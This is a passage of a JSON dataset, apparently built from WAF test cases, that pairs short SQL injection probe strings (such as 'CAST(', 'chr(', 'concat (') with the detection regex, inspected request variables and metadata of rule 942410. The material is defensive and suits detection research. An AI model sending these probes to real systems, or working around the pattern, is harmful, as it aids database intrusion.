wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "CAST(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "char(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "chaR(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "chr(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "CHR(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "COALESCE(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Compress (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "concat (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cOnCaT(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", 